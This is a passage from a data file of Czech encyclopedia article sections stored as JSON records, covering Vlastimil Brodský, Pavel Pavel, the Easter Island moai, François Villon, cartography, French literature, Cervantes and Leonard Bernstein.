nesídlilo na své pozdější scéně ve Vodičkově ul.), kde působil v sezóně 1946 – 47 a na chvíli se pak ještě vrátil k E. F. Burianovi do divadla D 47. Zklamán tehdejším uměleckým a politickým směřováním svého mistra, přešel nakonec se skupinou mladých herců (O. Krejča, A. Hegerlíková, Z. Řehoř, Z. Dítě) za Jiřím Frejkou do Divadla na Vinohradech, kde setrval i po Frejkově odchodu a po vzniku Divadla československé armády a byl členem souboru až do roku 1990 a i později zde působil jako stálý host. V postavách, které ztvárnil, objevoval lidskou obyčejnost, své postavy vystihoval poetickou zkratkou, jeho komika byla označována za neobyčejně lidskou. Býval charakterizován jako typ herce tragikomického. Od roku 1946 se objevoval pravidelně ve filmu. Spolupracoval např. s Otakarem Vávrou, Martinem Fričem a našel společný umělecký pohled se Zdeňkem Podskalským, v jehož několika filmech se později objevil. Jako jediný český herec získal cenu Berlínského mezinárodního filmového festivalu Zlatý medvěd za roli v německém filmu \"Jakub lhář\", zápornou postavu si zahrál i v oscarovém snímku \"Ostře sledované vlaky\". V roce 2002 získal Českého lva za nejlepší mužský herecký výkon v hlavní roli ve filmu \"Babí léto\". Jednalo se také o výborného rozhlasového a dabingového herce, několik desítek let působil v Československém rozhlase jakožto populární skřítek \"Hajaja\", jenž předčítal každý den dětem pohádky na dobrou noc. Na gramofonových deskách vyšly \"Hajajovy pohádky\" (vyd. Supraphon), Brodský namluvil také např. postavu Švejka v \"Osudech dobrého vojáka Švejka\" (vyd. Ultraphon), Bondyho ve \"Válce s mloky\" (vyd. Supraphon) nebo Taťku Šmoulu v seriálu Šmoulové. Z rozvedeného prvního manželství s tanečnicí Bíbou Křepelkovou pochází jeho syn Marek Brodský a z rozvedeného druhého manželství s herečkou Janou Brejchovou pochází jeho dcera Tereza Brodská, herečka. Dne 20. dubna 2002 spáchal sebevraždu. Je po něm pojmenována ulice v Praze. Pohřben je spolu s rodiči ve Slunečné, kde měl chalupu, na tamním hřbitově." ] }

{ "title": [ "Život.", "Politická činnost." ], "section_level": [ "1", "1" ], "content": [ "Absolvoval elektrotechnickou fakultu v Plzni. V roce 1986 (před cestou na Velikonoční ostrov) pracoval jako předseda ZO SSM v Zemědělském stavebním sdružení ve Strakonicích. Pavel Pavel se zajímal o objevy Thora Heyerdahla na Velikonočním ostrově a zaujalo jej, jak mohli domorodci pohybovat obrovskými sochami. Postavil několik modelů na ověření svých úvah. V roce 1981 vyrobil s přáteli 20 tun těžký betonový model sochy moai a vyzkoušel, jak s ním lze pohybovat pouze pomocí lan ovládaných malou skupinou osob. V roce 1986 jej Thor Heyerdal pozval na Velikonoční ostrov, kde experiment zopakoval s původní sochou. K pohybu sochy bylo třeba jen 16 lidí s jedním vedoucím a několik lan. Heyerdalovy předchozí experimenty přitom ukazovaly na potřebu stovek lidí. Dalším pokusem, který Pavel Pavel provedl, bylo přesunutí necelých 30 tun těžkého Kadovského viklanu poblíž obce Kadov v okrese Strakonice. Tento viklan neznámý vandal vyvalil z jeho původního místa. Šest lidí vybavených pouze dřevěnými pákami a klíny tento viklan opět vztyčilo a přesunulo do původní polohy. Na základě těchto experimentů Pavel Pavel odhadl, že k přesunutí 800 tun těžkých kvádrů terasy v Baalbeku by stačilo přibližně 160 lidí, vybavených starověkými nástroji. Své pokusy dělal i jinde v jižních Čechách (balvan na Hliníku v Třeboni).", "V komunálních volbách v roce 1998 byl jako nestraník za ODS zvolen zastupitelem města Strakonice. Stal se též místostarostou města. Ve volbách v letech 2002 a 2006 oba mandáty v obou případech obhájil. V krajských volbách v roce 2000 byl za ODS zvolen zastupitelem Jihočeského kraje. Ve volbách v roce 2004 svůj mandát obhájil a v letech 2004 až 2008 byl uvolněným členem Rady Jihočeského kraje se zodpovědností za oblast regionálního rozvoje, evropské integrace a sekretariátu RRRS, územní plánování, stavební a územní řízení a správu majetku. Ve volbách v roce 2008 však s obhajobou mandátu neuspěl. V letech 2002 a 2003 neúspěšně kandidoval do Senátu PČR v obvodu č. 12 – Strakonice, kdy ho vždy ve druhém kole porazil sociální demokrat Pavel Rychetský (2002) a křesťanský demokrat Josef Kalbáč (2003). V roce 2009 byl kvůli neshodám s místopředsedou strakonické organizace ODS Tomášem Hajduškem vyloučen ze strany. Krátce poté zaniklo členství v ODS i strakonickému starostovi Pavlu Vondrysovi. Právě s ním Pavel Pavel založil pro komunální volby v roce 2010 novou kandidátku pod názvem \"Slušnost a jistoty pro Strakonice\". Svůj odchod z ODS zdůvodňovali napojením strakonické ODS na hazardní průmysl. Kandidátka vyhrála a Pavel Vondrys byl počtvrté zvolen starostou města, Pavel Pavel obhájil post místostarosty. O jeho popularitě svědčí fakt, že v komunálních volbách se do počtu preferenčních hlasů umístil na druhém místě (za starostou Vondrysem). V roce 2012 vstoupil do hnutí JIHOČEŠI 2012 a byl za toto hnutí v krajských volbách v roce 2012 opět zvolen zastupitelem Jihočeského kraje. Na kandidátce původně figuroval na 12. místě, vlivem preferenčních hlasů ale skončil druhý. Ve volbách v roce 2016 svůj mandát za JIH 12 obhájil, když se opět díky preferenčním hlasům posunul z původního 12. místa na konečné 4. místo. V dubnu 2017 se stal navíc radním kraje. Za JIH 12 obhájil také v komunálních volbách v roce 2014 post zastupitele města Strakonice. Radním města se už ale nestal. Další úspěšná obhajoba následovala v komunálních volbách v roce 2018, nicméně volby byly krajským soudem uznány za neplatné. V opakovaných komunálních volbách v prosinci 2019 již neuspěl. Ve volbách do Evropského parlamentu v květnu 2019 kandidoval jako člen hnutí Jihočeši 2012 na 8. místě kandidátky subjektu s názvem \"\"Starostové (STAN) s regionálními partnery a TOP 09\"\", ale nebyl zvolen." ] }

{ "title": [ "Vzhled.", "Materiál.", "Výrobní postup.", "Umístění.", "Přeprava." ], "section_level": [ "1", "1", "1", "1", "1" ], "content": [ "Kromě neobvyklého tvaru – nemají nohy, tělo je jen naznačeno a nejpropracovanější je hlava – na některých moai zaujme klobouk pukao z červené horniny. Podle nejvíce přijímané teorie nejde o klobouk, ale styl účesu, který se na \"Rapa Nui\" nosil v dobách vzniku posledních soch. Pukao během let obvykle spadly, dnes jsou k některým sochám opět doplněny. Původně byly sochy vybaveny také korálovýma očima. Největší stojící moai měří 9,8 metru, nejmenší jen 1,13. Průměrná výška soch pak činí asi 4 metry a průměrná hmotnost necelých 14 tun. Jsou na nich i petroglyfy. Není to ale rongorongo.", "Materiálem k výrobě soch byly především trachytové tufy, ale k jejich zhotovování byly používány i jiné horniny jako např. mugearity nebo pemza. Největší „sochařská dílna“ byla na vnějších svazích a uvnitř kráteru Rano Raraku, ale sochy vznikaly i na jiných místech ostrova. V Rano-Raraku a na jeho svazích je možné dosud nalézt údajně 311 soch, z nichž některé dosahují výšky téměř 10 metrů a hmotnosti 80 tun. Nachází se zde i největší socha na ostrově o délce 21,8 metru a hmotnosti 270 tun. Řada soch v kráteru či na jeho svazích není dokončena včetně této největší, která spočívá neoddělená ve skále; důvod spatřují někteří odborníci v tom, že se zřejmě při jejich opracovávání narazilo na větší xenolit (kus jiné horniny v původním materiálu) a kameníkům již nestálo za to v práci pokračovat. Na svahu kráteru se nachází také jedna z nejzajímavějších soch - Moai Tukuturi, jediná klečící moai na ostrově. Jedna z teorií říká, že tato moai byla vytesána jako první, ale pak nebyla akceptována.", "V kráteru Rano Raraku je na několika nedokončených sochách také možné rekonstruovat způsob jejich výroby. Nejdřív se ve skále obsekal hrubý tvar (moai byla tesána vždy ležící na zádech). Poté začaly být prováděny současně práce na hlavě a spodní části sochy, která přitom zůstala po celou dobu na spodní straně spojena s podkladem úzkým pruhem neopracované skály. Až po detailním opracování ostatních částí sochy bylo toto poslední spojení s podkladem přerušeno a socha mohla být vztyčena. Závěrečnou fází práce na soše bylo opracování místa bývalého spoje sochy s podkladní skálou.", "Sochy byly přepravovány na vzdálenost až 16 km a byly umísťovány na speciálně připravené kamenné plošiny, kterým se říká ahu. Ty byly převážně rozmístěny podél pobřeží. Nejznámější ahu se nachází na svahu sopky Maunga Terevaka, nazývá se Ahu-Akivi a je to jediné ahu, odkud se sochy dívají směrem k moři. Všude jinde jsou sochy obráceny obličeji do vnitrozemí. Největší ahu se nazývá Ahu-Tongariki ve východní části ostrova, je asi 2 metry vysoká a je na ní umístěno 15 soch. Největší kdysi vztyčená moai se dá nalézt u Ahu-Te Pito Te Kura, která se nachází na severním pobřeží ostrova. Nyní však tato 10metrová socha leží po pádu rozpůlená na dva kusy. I další významné ahu se nachází u severního pobřeží a nazývá se Ahu-Ature Huki. Přestože na ní stojí pouze jedna socha, je památné tím, že tuto sochu za pomoci ostrovanů vztyčil Nor Thor Heyerdahl. Její vztyčení trvalo 18 dní a podílelo se na něm 12 lidí. Další ahu, Ahu-Nau Nau, je zvláštní nejen tím, že čtyři ze sedmi soch mají nasazeny pukao, ale i tím, že u nich byly objeveny úlomky korálů a skal, které archeologové označili za oči moai. Tyto úlomky se dnes nacházejí v místním muzeu. Podle posledních informacích je na ostrově zdokumentováno 311 soch moai, z čehož jen 78, tedy asi třetina, byla dopravena až na některé z ahu. Největší část soch zůstala přímo u zdroje, tedy na svahu sopky Rano Raraku, což je zřejmě důsledek nesmírné náročnosti přepravy soch. Studie Roberta J. DiNapoliho a kol., amerických vědců z Binghamton University, ukazuje, že obří megality byly budovány u zdrojů pitné vody. Domorodí obyvatelé pro získávání vody využívali tzv. „pobřežní chrliče\", což jsou místa, kterými do okolní mořské vody proudí čerstvá pitná voda. Ta se nejprve vsákne do půdy, odkud se následně dostane do jeskyní a pak do oceánu. Zmíněná studie naznačuje korelaci umístění soch a přítomnosti právě těchto zdrojů vody.", "Mnoho teorií bylo publikováno po celém světě. V České republice jednu teorii, jak skulpturami pohybovat, představil český vědec Pavel Pavel, který tzv. „rozchodil sochy“. Jeho v praxi předvedený experiment především ukázal, že k přepravě soch je třeba řádově méně lidí, než předpokládaly předchozí teorie, podle nichž bylo třeba k přesunu mnohatunových kolosů stovek lidí. Pavel Pavel však předvedl poměrně rychlý způsob vztyčování a přesunu soch pomocí jejich rozkývání. Byl pozván Thorem Heyerdalem na jednu z výprav a při ní se skupinou 16 domorodců a za použití pouze primitivních technologií (pouze lana a páky) v praxi předvedl přesun originálních soch po ostrově. Experiment byl ovšem ukončen předčasně kvůli poškození základu sochy odštěpováním kamene. Z tohoto důvodu někteří vědci zpochybňují, že sochy byly přemísťovány uvedeným způsobem." ] }

{ "title": [ "Biografie.", "Dílo.", "Ukázka.", "Balada.", "Čtyřverší." ], "section_level": [ "1", "1", "1", "2", "2" ], "content": [ "Vyrůstal v chudobě, později se jej ale ujal bohatý kněz Guillaume de Villon, který jej poslal na studia na pařížskou Sorbonnu. V roce 1449 se stal bakalářem a roku 1452 mistrem. Místo vzdělání nakonec zvolil bohémský způsob života. Byl zapojen do různých rebelujících spolků, především do protistátního studentského spolku Ulita. Za svou činnost byl několikrát odsouzen (jednalo se o různé souboje, šarvátky v opilosti, atp.) – 1460, 1461, 1462. Vždy se mu pomocí výše postavených přátel podařilo dostat na svobodu. Dopustil se také loupení, výtržnictví, násilných činů a dokonce v roce 1455 i vraždy kněze, za kterou byl odsouzen k trestu smrti, během čekání na výkon napsal podstatnou část Testamentů. Nakonec byl amnestován, nicméně byl vyhoštěn z Paříže na dobu deseti let a od té doby o něm není nic známo. Verše psal pod pseudonymem Vaillant. Francouzskou poezii vyvedl ze starých forem a témat. Známé jsou např. jeho balady, pozůstávající ze čtyř slok, kde první tři jsou po 7 až 12 verších a poslední sestává zpravidla z pěti veršů. Tato forma se po něm nazývá villonská balada. O první kompletní překlad jeho veršů do češtiny se postaral Otokar Fischer (na začátku 20. století). Jeho verše jsou drsné, působí starobyle. Další kompletní překlad vytvořila Jarmila Loukotková (2. polovina 20. století), která Villonovy verše modernizuje. Oproti Fischerovi měla k dispozici více historických faktů a některé nově objevené básně. Bývá také označován za prvního prokletého básníka a prvního moderního básníka.", "Ve svém díle mísí vysoký a nízký styl. Vysoký styl obsahuje prvky dvorské poezie, nízký styl má obhroublý až vulgární obsah. Často se setkáme s ironií a výsměchem. Villon se vysmívá společnosti, smrti, a dokonce své vlastní chudobě. Jeho výsměch patří také pastýřské poezii psané šlechtici, jelikož to byla díla pokrytecká – autoři sami žili ve městech v luxusu a o venkově neměli ponětí. Pro jeho dílo je též charakteristická kontrastnost, například využití renesančních prvků oproti středověkým nebo kontrast cynismu s hlubokým upřímným citem odrážejících se v jeho verších. Tento kontrast je často vyjádřen pomocí oxymór – uměleckého prostředku spojujícího slova, která si navzájem protiřečí.", "\"(obě ukázky přeložil Otokar Fischer)\"", "Balada \"kterou Villon napsal léta Páně 1458 na námět, jejž u svého dvora v Blois určil vévoda Orleánský:\" \"Já u pramene jsem a žízní hynu,\" \"horký jak oheň, zuby drkotám,\" \"dlím v cizotě, kde mám svou domovinu,\" \"ač blízko krbu, zimnici přec mám,\" \"nahý jak červ, oděn jak prelát sám,\" \"směji se v pláči, doufám v zoufání,\" \"mně lékem je, co jiné poraní,\" \"mně při zábavě oddech není přán,\" \"já sílu mám a žádný prospěch z ní,\" \"srdečně přijat, každým odmítán.\" \"Jen to mi nesporné, co plno stínů,\" \"kde světlý den, tam cestu sotva znám,\" \"kde průzračnost, tam výkladem se minu,\" \"svou znalost vděčím náhlým náhodám,\" \"vše vyhrávaje, čím dál smolněj hrám,\" \"dím „dobrý večer“, jitro-li se skví,\" \"když ležím naznak, strach mám z padání,\" \"bohatství čekám, ničí nejsem pán,\" \"mám vše, co chci, – nic, na čem srdce lpí –˜˜\" \"srdečně přijat, každým odmítán.\" \"K věcem, jež neznám, horoucně se vinu,\" \"ženu se k cíli, jehož nežádám,\" \"kdo ke mně vlídný, tomu dávám vinu,\" \"kdo mluví pravdu, tomu lhářů lám,\" \"můj druh je ten, kdo vemluví mně klam\" \"a „labuť černá je jak havran“ dí,\" \"v tom spojence zřím, kdo mi ublíží,\" \"mně jedno, jsem-li šalbě ve psí dán,\" \"mám v mysli vše, jen ne to nejbližší,\" \"srdečně přijat, každým odmítán.\" \"Kníže, každý, kdo to čte, nechť ví:\" \"nic neznám, ač mám o všem vědomí.\" \"Jsem stranický, jsem zastánce všech stran.\" \"Co chci? Být z těch zas, plat kdo bráti smí,\" \"srdečně přijat, každým odmítán.\"", "\"Čtyřverší jež, složiv svou Závěť, napsal Pařížan Villon v pařížském Châteletu, odsouzen k smrti oběšením\": \"Františku, už tě nepotěší,\" \"že Francouz jsi a ze vsi zdejší;\" \"teď na krk oprátku ti věší;\" \"ať pozná hlava, oč je zadek těžší.\"" ] }

{ "title": [ "Zkreslení.", "Obsah map.", "Matematické prvky.", "Dělení map.", "Podle časového hlediska.", "Mapová zobrazení.", "Falzifikace map." ], "section_level": [ "1", "1", "2", "1", "2", "1", "1" ], "content": [ "Na rozdíl od glóbu má každá mapa určité zkreslení. Toto zkreslení deformuje plochy, délky, úhly a tvary zemského povrchu. Zkreslení je tím větší, čím menší je měřítko mapy. Pomocí měřítka nelze z map malých měřítek přesně odečítat ani vzdálenosti ani úhly. Zkreslení nedosahují v celé ploše mapy stejných hodnot, ale mění se. Myšlené spojnice míst se stejným zkreslením se nazývají ekvideformáty. Jako první, kdo dokázal přenášet obraz kulového tělesa Země na papír, byl Gerhard Mercator (Mercatorova projekce) v roce 1569. Tento objev výrazně zlepšil polohové informace obsažené v mapě, což umožnilo následně mořeplavcům obeplutí Země a přinesení jasného důkazu, že je Země kulatá. Druhy zkreslení:", "Prvky tvořící obsah mapy lze členit podle jejich původu, charakteru a významu na:", "Tyto prvky tvoří konstrukční základ mapy. Patří sem:", "Mapy lze členit z mnoha hledisek (účel užití, způsob vzniku, vyjadřované skutečnosti, měřítka, územního rozsahu atd.).", "podle vzniku lze definovat také", "Mapové zobrazení neboli kartografická projekce je způsob, jakým se převádí zobrazení povrchu Země (či jiného nebeského tělesa) z trojrozměrného zakřiveného povrchu referenčního elipsoidu či koule do roviny.", "Protože experti v Sovětském svazu byli schopni na základě volně dostupných informací vytvořit jedny z nejpodrobnějších map světa, a protože jakákoliv mapa nese informace, která může být zneužita, začala se ve 30. letech 20. století provádět v Sovětském svazu falzifikace map.<ref name=\"xman.idnes.cz/sovetske-tajne-vojenske-mapy-dj5-\"></ref> Na veřejně dostupných mapách bylo měněno téměř vše, od označení domů a jejich polohy na ulicích po polohu cest a vodních těles. Zkreslování map se v Sovětském svazu provádělo až do devadesátých let 20. století, kdy se začalo pracovat s leteckou a vesmírnou fotografií. Přesné mapy měla k dispozici pouze armáda a tajné služby. Tyto mapy byly často podrobné do takové míry, kterou neznali ani obyvatelé dané oblasti, např. u silnic byla vyznačena šířka, materiál, podloží a kvalita, u mostů nosnost a stavební materiál, nebo na jaké palivo jsou kamna pastevců v horách. Podobně se \"upravovaly\" údaje v mapách i řadě dalších zemí, V současné době se mění často údaje na mapách digitálních, aby bylo možné prokázat jejich zneužití neoprávněným uživatelem. Online mapy Online mapy – historické" ] }

{ "title": [ "Středověká literatura (9.–13. století).", "Od 14. století do náboženských válek (1562).", "Léta 1562–1815.", "Klasicismus (1650–1700).", "Historický kontext.", "Charakteristika.", "Autoři.", "Osvícenství (18. století).", "Romantismus (1815–1900).", "Realismus.", "Naturalismus.", "20. století." ], "section_level": [ "1", "1", "1", "1", "2", "2", "2", "1", "1", "1", "1", "1" ], "content": [ "Za počátek francouzské literatury považujeme 9. století, kdy vznikla jako pokračování latinské literatury. Nejstarší písemnou památkou je tzv. Štrasburská přísaha, která pochází z roku 842. V tomto období (do 11. století) vzniklo ještě několik, většinou nábožensky zaměřených textů (např. \"Kantiléna o svaté Eulálii\"). V průběhu 11. století do literatury začaly pronikat také světské prvky a postupně začala vznikat i světská literatura, v oblibě byly především tzv. hrdinské eposy (\"Píseň o Rolandovi\"). Z konce 12. století pochází první francouzské divadelní hry (\"Hra o Adamovi\"). Zhruba na přelomu 12. a 13. století (podle některých datací ještě o trochu dříve) začala být velmi populární milostná lyrika opěvující ideály lásky, nositelé této literatury byly tzv. trubadúři, (později i truvéři). Zhruba ve stejné době se začala rozvíjet měšťanská literatura, která často směřovala k satiře (\"Román o Lišákovi\"). Ve 13. století se ve Francii objevily rytířské romány (\"Tristan a Izolda\"). Z této doby pochází i známý \"Román o růži\".", "V průběhu 14. století se objevují první kroniky a brzy na to i polemiky o morálce, které samozřejmě ovlivnila probíhající stoletá válka (1337–1453). Na přelomu 14. a 15. století se objevují velmi známí autoři, jako byl Eustache Deschamps, Charles d'Orléans, François Villon; toto období bývá nazýváno „obdobím Velkých rétoriků“. Došlo u nich k markantnímu nárůstu kvality formy na úkor lyriky. Některá díla posledně jmenovaného – F. Villona již předznamenávají nástup nového společenského hnutí – humanismu a renesance. Tato dvě hnutí se zcela prosadila v průběhu 16. století a ovlivnila nejen literaturu, ale i způsob myšlení celé společnosti (François Rabelais, Pierre de Ronsard, Michel de Montaigne). V tomto období vznikla i velmi zajímavá básnická škola, jejíž význam bývá často podceňován – Plejáda, pravděpodobně proto, že její cíle byly příliš velké na to, aby mohly být realizovány. Každopádně lze říci, že v této době již francouzská literatura měla značný vliv nejen na okolní státy, ale i na vzdálenější území.", "Protože v roce 1562 se Francie dostala do náboženských válek, k jejichž ukončení došlo prakticky až v roce 1596, objevil se v literatuře tzv. skepticismus – Michel de Montaigne. Po vzpamatování se z těchto válek (zhruba kolem roku 1650) došlo k prudkému rozvoji literatury a divadla. V literatuře se nejvíce prosadil klasicismus, jehož francouzští představitelé ovlivnili světovou literaturu na dlouhou dobu (Pierre Corneille, Molière, Jean Racine). Ve stejné době napsala hraběnka La Fayette román \"Kněžna z Cléves\", který se stal stěžejním dílem pro tzv. psychologický román.", "Klasicismus ve Francii vzniká jako reakce na barokní umění. Přestože se časově jedná o docela krátké období (někdy pouze 1660–1680), je klasicismus ve Francii nabit velkými osobnostmi.", "17. století se ve Francii odehrává ve znamení vznešenosti a okázalosti (\"la grandeur\"). V roce 1643 usedá na francouzský trůn Ludvík XIV. a nastoluje absolutistickou monarchii. V roce 1685 ruší platnost ediktu nantského a obnovuje postih protestantů. Na vývoji francouzského jazyka se podílel také kardinál Richelieu, ministr předchozího krále, který v roce 1635 zakládá Francouzskou akademii. Ta má za úkol kodifikovat a dohlížet na formu jazyka.", "Teorie klasicismu se opírá o \"tři základní pilíře\": Kromě těchto se do popředí dostává ideál čestného člověka, který zdůrazňuje ctnosti jak navenek, tak vnitřně. Ideál se logicky vztahuje i na osobnost spisovatele, tedy i na literaturu, kterou píše. Žánry klasicistní literatury jsou dvojího druhu:", "V tomto období působila ve francouzské literatuře celá řada dalších významných osobností: Dále se zde objevil nový proud literatury a tou byla filosofická literatura (filosofické spisy samozřejmě vznikaly i dříve, ale ty lze do literatury řadit s velkými obtížemi, neboť se jednalo o čistě filosofická díla, u těchto spisovatelů lze mluvit o filosofické literatuře) – jejími zástupci byli především:", "Tito filosofové pomohli položit základ francouzskému osvícenství, které se ve Francii plně rozvinulo v průběhu 18. století, vůdčími osobnosti literatury se v této době stali často protinábožensky a proti tradicím zaměření filosofové-encyklopedisté – Voltaire, Denis Diderot a Jean le Rond d'Alembert. Myšlenky těchto filosofů ještě doplnil Jean Jacques Rousseau. Lze tvrdit, že klasická literatura této doby ve Francii byla ve vleku filosofie a nedokázala se vymanit z myšlenek osvícenství, což je velmi zajímavé, neboť jejich myšlenky rozhodně neměly předpoklady pro popularizaci v literatuře dramatik Pierre-Augustin Caron de Beaumarchais a spisovatelé Alain-René Lesage, Pierre Carlet de Chamblain de Marivaux. Jejich víra v rozum, matematiku, atp. ve svých důsledcích vedla až k Velké francouzské revoluci (1792–1804), následnému direktoriu (do roku 1799) a pozdějším napoleonským válkám (do roku 1815). Za této situace nastal samozřejmě pokles zájmu o literaturu, rozvíjelo se především řečnictví, novinařina a písně.", "S touto situací se literatura vypořádávala velmi těžko, počátkem 19. století došlo k nástupu romantismu, jehož francouzští představitelé jsou dodnes pokládáni za klasiky světové literatury Victor Hugo, François René de Chateaubriand, Alphonse de Lamartine, Alfred de Musset, Alfred de Vigny, Stendhal a další. Roku 1848 došlo ve Francii k únorové revoluci, jejímž výsledkem byl vznik druhé republiky, tento fakt se projevi jakousi krizí společenských hodnot, která ovlivňovala francouzskou literaturu prakticky až do počátku 20. století. Na ideály romantismu přímo navázali, ačkoliv je rozvíjeli nečekaným směrem prokletí básníci (Arthur Rimbaud, Paul Verlaine, ale i Lautréamont), jimž dal základ Charles Pierre Baudelaire.", "Mimo pokračování romantismu se rozvinul prakticky opačný směr literatury – realismus: Gustav Flaubert, Honoré de Balzac, v této době se mj. prosadil i parnasismus.", "Z realismu se vyvinul naturalismus – Alphonse Daudet, Guy de Maupassant, Émile Zola.", "Na počátku 20. století prošla literatura, především francouzská, velmi složitým obdobím, kdy došlo k přechodu od symbolismu (Stéphane Mallarmé) k avantgardě (Guillaume Apollinaire). Avantgardní hnutí se dále rozvíjelo – dadaismus, surrealismus (André Breton, Paul Eluard). Lze tvrdit, že v tomto vývoji měla Francie, zhruba od roku 1900 do roku 1939, v literatuře hlavní slovo i v celosvětovém měřítku. Zároveň s těmito směry se rozvíjel román, ten lze v této době rozdělit na tradiční (Maurice Barrès), revoluční (Henri Barbusse) a humanistický (Romain Rolland, Antoine de Saint-Exupéry). Ve 30. letech 20. století se začala objevovat politicky velmi angažovaná díla (tzv. odbojová) poezie – Louis Aragon, z této literatury se vyvinul existencialismus (Jean-Paul Sartre, Albert Camus). V 50. letech 20. století vznik tzv. nový román (Alain Robbe-Grillet), dále se ve Francii rozvíjí tzv. absurdní divadlo (Eugène Ionesco, Samuel Beckett, Arthur Adamov, René de Obaldia). Tradiční literaturu v současnosti zastupuje realismus (Robert Merle) a historický román (Margueritte Yourcenarová, Bernard Clavel)." ] }

{ "title": [ "Život." ], "section_level": [ "1" ], "content": [ "Cervantes byl synem chudého ranhojiče. Rodiče mu zajistili vzdělání, jaké jim dovolila jejich finanční situace. V roce 1551 se celá rodina přestěhovala za lepším životem do Valladolid. Tento cíl nebyl naplněn a Cervantesův otec, Rodrigo, byl uvězněn kvůli dluhům a jejich majetek byl zabaven. V roce 1553 se rodina vrátila zpět do rodného města. Cervantes tak měl možnost chodit do Jezuitské školy v Córdobě. V roce 1564 se přestěhovali do Sevilly, a v roce 1566 do Madridu. V devatenácti letech začal studovat na veřejné škole Estudio de la Villa, provozovanou Juanem Lopézem de Hoyos, který se nejvíce zasloužil na Cervantesovu vzdělání a také v jednom se svých děl vydal i několik Cervatesových raných básní. Roku 1550 se narodil Cervatesův bratr Rodrigo, v roce 1552 sestra Magdalena, a v roce 1555 bratr Juan. V roce 1569 se Cervantes přestěhoval do Říma. Tam pracoval jako tajemník pro Gulia Acquaviva. Možné vysvětlení pro Cervantesův nečekaný odjezd ze Španělska byl útěk před trestem za účast v souboji s Antoniem de Sigurga. V roce 1570 narukoval k vojsku Juana de Austria do války proti Osmanské říši, která obsadila benátský Kypr. V bitvě u Lepanta přišel o ruku. Avšak i přes tento handicap se zúčastnil tažení na Korfu a do Tunisu, kde se mu dostalo uznání velení, které mu napsalo doporučující dopisy pro krále. Při návratu z tažení byl na cestě do Španělska zajat barbarskými piráty, kteří ho mylně považovali za bohatého šlechtice kvůli doporučujícím dopisům. Spolu s bratrem byl odvlečen do alžírského zajetí. Stal se otrokem renegáta Alí Mámího a později Hassana Paši. Protože jeho rodina neměla dost peněz na výkupné několikrát se pokusil o útěk – vždy neúspěšně. V roce 1576 se uskutečnil Cervantesův první pokus o útěk s jinými křesťany, kteří byli opuštěni muslimským průvodcem a museli se vrátit do vězení. O rok později byl vykoupen jeho bratr Rodrigo. Připlul na lodi, aby zachránil Cervantese a dalších 14 vězňů. Plán se nepovedl, Cervantes vzal na sebe celou zodpovědnost a byl zavřen v královském žaláři. Po roce se Cervantes pokusil o útěk po třetí. Poslal dopisy veliteli Oranu, ve kterých ho požádal, aby zachránil zbytek vězňů. Cervantes byl pak odsouzen k tvrdému trestu, nicméně neexistuje záznam o tom, že by byl trest vykonán. Cervantese po 5 letech náhodou vykoupil mnich za 500 eskudů. Po návratu do vlasti nemohl Cervantes dlouho najít práci. Roku 1584 Ana Francou de Rojas porodila Isabel de Saavedra, jediné Cervantesovo dítě. Poté se Cervantes přestěhoval do Esquivas, kde se jako 37letý muž oženil s 19letou Catalinou de Saalazar. Cervantes podepsal smlouvu k publikaci dvou románů, nicméně vyšla jen \"La Galatea\". V roce 1592 nechal vydat dalších 6 románů. Potom Cervantes ukončil práci jako obchodník pro španělské loďstvo, kterou nastoupil v roce 1587. Posléze byl zaměstnán jako účetní. Jelikož Cervantes se dobře nevyznal v obchodních transakcích, záhy se stal obětí podvodu a následně byl exkomunikován z církve. Po tomto incidentu byl Cervantes často vězněn z různých důvodů např. kvůli dluhům, později kvůli vraždě šlechtice, kterého nalezli před jeho dveřmi nebo v roce 1597 skončil v Sevillském vězení, jelikož nezaplatil soudně nařízenou pokutu. Z této situace mohla vzniknout osnova Cervantesova románu Don Quijote de La Mancha. V roce 1605 byl v Madridu vydán Cervantesův román \"Důmyslný rytíř Don Quijote de la Mancha, který\" se stal okamžitou senzací. Navzdory tomu měl stále potíže s křivými obviněními, kvůli kterým byl často ve vazbě nebo před soudem. Jakmile vydal Dona Quijota sklidil respekt a získal pár vlivných ochránců. To mu ale již nebylo moc platné, jelikož žil sám a v bídě. O několik let později vstoupil do Shromáždění nejvyšší svátosti. Poslední léta života strávil sám v Madridu, jeho žena zůstala v rodném Esquivanu. Roku 1614 Cervantes publikoval knihu \"Cesta na Parnas,\" ale v tisku se objevila i falešná 2. část Dona Quijota. Rok později Cervantese tento falzifikát přiměl k vydání své vlastní 2. části románu \"Důmyslný rytíř Don Quijote de la Mancha.\" Chvíli poté 22. dubna 1616 Cervantes zemřel a jeho poslední kniha, kterou dokončil \"Persiles a Sigismunda\", byla vydána až po jeho smrti. 17. března 2015 španělští forenzní vědci oznámili, že po čtyřech stech letech objevili Cervantesův hrob společně s ostatky jeho manželky a dalších lidí v Convento de las Trinitarias Descalzas v Madridu." ] }

{ "title": [ "Biografie.", "Pozdní období a smrt.", "Charakteristika Bernsteina jako skladatele.", "Odkazy.", "Literatura." ], "section_level": [ "1", "1", "1", "1", "2" ], "content": [ "Narodil se jako Louis Bernstein v Lawrence ve státě Massachusetts do rodiny ukrajinských Židů původem z města Rovno. Nebyl příbuzný filmového skladatele Elmera Bernsteina, ale byli přáteli a dokonce sdíleli určitou fyzickou podobnost. Jako malý chlapec bral lekce na piano a navštěvoval Posádkovou a Bostonskou latinskou školu. Na Harvardově univerzitě studoval s Walterem Pistonem, Edwardem Burlingame-Hillem a A. Tillmanem Merrittem a mnoha dalšími. Absolvoval studium hudebních oborů na Harvardu (1939), poté studoval hru na klavír, dirigování a orchestraci na Curtisově institutu ve Filadelfii (1942), kde byl nejnadanějším žákem Fritze Reinera. V roce 1940 studoval pod vedením dirigenta Sergeje Kusevického v Tanglewoodu, berkshisrském letním středisku Bostonského symfonického orchestru, posléze se stal Kusevického asistentem. Dne 14. listopadu 1943 „zaskočil“ za nemocného Bruna Waltera u Newyorské filharmonie, kde působil od září 1943 jako asistent. Tento záskok odstartoval jeho profesionální kariéru. V letech 1945-1947 byl hudebním ředitelem Newyorského Symfonického orchestru. Po smrti Sergeje Kusevického v roce 1951 se stal na mnoho let vedoucím třídy dirigování v Tanglewoodu. Na počátku roku 1947 Bernstein přijal pozvání Palestinského orchestru a přijel do Jeruzaléma v tehdejší britské mandátní Palestině (dnešní Izrael), aby dirigoval několik koncertů. O svých zážitcích z této cesty napsal Bernstein svému příteli: V letech 1958–1969 se stal hudebním ředitelem Newyorské filharmonie (831 koncertů). Poté až do své smrti hostoval u významných orchestrů (Bostonský symfonický orchestr, Izraelská filharmonie, Londýnští symfonikové, Vídeňští filharmonikové), operních domů a 